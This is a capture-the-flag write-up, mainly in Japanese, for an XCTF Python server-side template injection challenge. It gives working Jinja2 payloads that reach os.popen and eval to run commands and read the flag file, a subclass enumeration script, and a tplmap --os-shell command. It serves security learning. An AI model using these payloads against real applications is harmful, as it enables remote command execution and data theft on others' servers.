起因#
在xctf上做题遇到的
0x00 SSTI 漏洞简介#
SSTI:Server-Side Template Injection
サーバーサイドテンプレートインジェクションは、フォーマット文字列の脆弱性の一種です。
インジェクションは、フォーマット文字列の脆弱性の一種です
バイナリまたは Web のいずれの場合でも、多くの脆弱性はフォーマット文字列の脆弱性に帰結することができます。
SQL インジェクションは、フォーマット文字列の脆弱性の最も典型的な例であり、SQL ステートメントを実行するべきではない場所で SQL ステートメントを実行します。
XSS の一部のコードクロージャインジェクションもこの方法に該当します。
では、テンプレートインジェクションとは何でしょうか?
HTML コードを書く際に、多くのウェブサイトはテンプレートを使用しています。最初に HTML ファイルを作成し、開発者がそのテンプレートに対応するスタイルを必要とする場合、テンプレートを直接呼び出すためにrender_template_stringメソッドを使用することができます。
これにより、スタイルが直接レンダリングされます。テンプレートインジェクションは、一連の命令を変数の代わりにテンプレートに渡して実行することを指します。
0x01writeup#
まず、単純なテスト URL を作成します:
xxx.xxx.xxx.xxx:yyyyy/{{7*7}}

7*7の命令が実行されていることがわかります。
問題はpython template injectionと言っているので、サーバースクリプトは Python であることを示しています。
そのため、Python のクラス内メソッドを知る必要があります:
- class : オブジェクトが所属するクラスを返します。
- mro : クラスが継承する基底クラスのタプルを返します。メソッドはタプルの順序で解析されます。
- base : クラスが継承する基底クラスを返します。
- baseとmroは基底クラスを検索するために使用されます。
- subclasses : 各新しいクラスは、子クラスの参照を保持しています。このメソッドは、まだ使用可能な参照のリストを返します。
- init : クラスの初期化メソッド
- globals : 関数のグローバル変数を含む辞書への参照
まず、すべてのモジュールを表示します:
xxx.xxx.xxx.xxx:yyyyy/%7B%7B[].__class__.__base__.__subclasses__()%7D%7D

ここで、多くのモジュールが表示されますが、後でモジュールを簡単に使用できるように、対応する番号をリストアップするスクリプトを作成しました:
import requests
import re
import html
url = "http://xxx.xxx.xxx.xxx:yyyyy/[].__class__.__base__.__subclasses__()%7D%7D"
cont = html.unescape(requests.get(url).content.decode("utf8"))
type_list = re.findall(r"<type '.*?'>|<class '.*?'>", cont, re.S)
print(type_list)
for i in range(len(type_list)):
print(i, type_list[i])
結果は以下のようになります:

ここでは、catch_warningsモジュールの.__init__.func_globals.keys()のlinecache関数を使用してosモジュールを呼び出すことができます。
xxx.xxx.xxx.xxx:yyyyy/%7B%7B().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__(%22os%22).popen(%22ls%22).read()'%20)%7D%7D

または、osのprinter関数を使用してos.popen関数を実行することもできます。
xxx.xxx.xxx.xxx:yyyyy/%7B%7B''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()%7D%7D

次に、os.popenを使用してcat fl4gコマンドでfl4gファイルの内容を表示します。
xxx.xxx.xxx.xxx:yyyyy/%7B%7B''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('cat fl4g').read()%7D%7D
または、osモジュールのlistdirメソッドを使用してflagファイルを検索することもできます。
xxx.xxx.xxx.xxx:yyyyy/%7B%7B''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')%7D%7D

最後に、fileメソッドを使用してfl4gを読み取ります。
xxx.xxx.xxx.xxx:yyyyy/%7B%7B''.__class__.__mro__[2].__subclasses__()[40]('fl4g').read()%7D%7D
最終的な結果は以下の通りです:

この問題は、サーバーサイドテンプレートインジェクションツールtplmapを使用することもできます。
python2環境で、urlを指定して--os-shellパラメータを追加すると、ターゲットホストのシェルを直接取得できます。
python tplmap.py -u "http://xxx.xxx.xxx.xxx:yyyyy/*" --os-shell

以上です。
参考文献:
- 从零学习 flask 模板注入
- 一篇文章带你理解漏洞之 SSTI 漏洞
- python 模板注入
- Flask/Jinja2 SSTI && Python 沙箱逃逸基础
- EndermaN 同学的 writeup